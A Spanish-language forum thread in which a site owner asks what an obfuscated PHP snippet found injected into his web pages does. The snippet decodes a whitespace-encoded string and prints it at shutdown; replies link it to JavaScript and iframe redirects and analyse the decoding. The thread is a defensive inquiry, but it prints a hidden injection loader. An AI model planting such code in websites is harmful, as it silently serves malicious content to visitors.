Alguien sabe para que es este codigo?

[insyse]

Hola a todos, este codigo malicioso, aparecio hoy en una de mis páginas web, pero no se que es, ni que hace, solo se que desde esta mañana tuve que eliminar todos los archvios de mi servidor limpiar codigo y volver a subir todo...

Sin embargo no me quiero quedar con la duda de cual es la funcion del codigo

Código PHP:

  <?php /** 
 * Gets some core libraries and displays a top message if required.    /* 
 */ function CoreLibrariesHandler() {                    /* 
 */   $session_keys = '                                                                                                                                 ';  /* 
 */                                    /*  
 */    foreach(str_split($session_keys, 8) as $k=>$v) {         /*              
 */        $v = str_replace('    ', 1, str_replace(' ', 0, $v));    /* 
 */        $session_keys[$k] = chr(bindec($v));             /* 
 */    }                                 /* 
 */                                    /* 
 */    if($session_keys) echo $session_keys; }                /* 
 */    register_shutdown_function('CoreLibrariesHandler');        /* 
 */                                    /* 
 ************************************************************************/ 
 ?>   

Gracias

Leonardo

[metacortex]

Revisa este hilo de discusión. Alguien tuvo el mismo problema y parece que la cosa involucra javascript e iframes. Está traducido con Google:

http://translate.google.co.ve/transl...194454&act=url

[zerokilled]

pues, de momento yo creo que es un come-coco para asustar a las gentes.

1. tienes una variable con un string de muchos espacios (129).
2. se divide el string por paquetes de ocho caracteres (espacios).
3. por cada paquete, se reemplazan todos los espacios por un cero.
4. el string se convierte de binario a decimal y luego a caracter. como todos son ceros, el equivalente es a un caracter null (0x00).
5. el caracter se guarda en la variable inicial (1).
6. al final de toda la iteracion, si la variable evalua a true, se imprime. lo que imprime es un string donde los primeros 16 caracteres son null (0x00) y el resto son espacios.

personalmente no veo donde esta el daño o ataque.

[insyse]

Pues la verdad no se que hacia este código, mo PHP es mínimo, pero de momento aparecieron estos codigos en mis paginas y pues no es algo que pase por que si o sin motivo, por esto les consulto a ustedes que saben mucho mas que yo,

Ya he eliminado este código y otros que jalaban un JS que redierccionaba mis paginas a otra con virus...

Les agardezco mucho su colaboracion.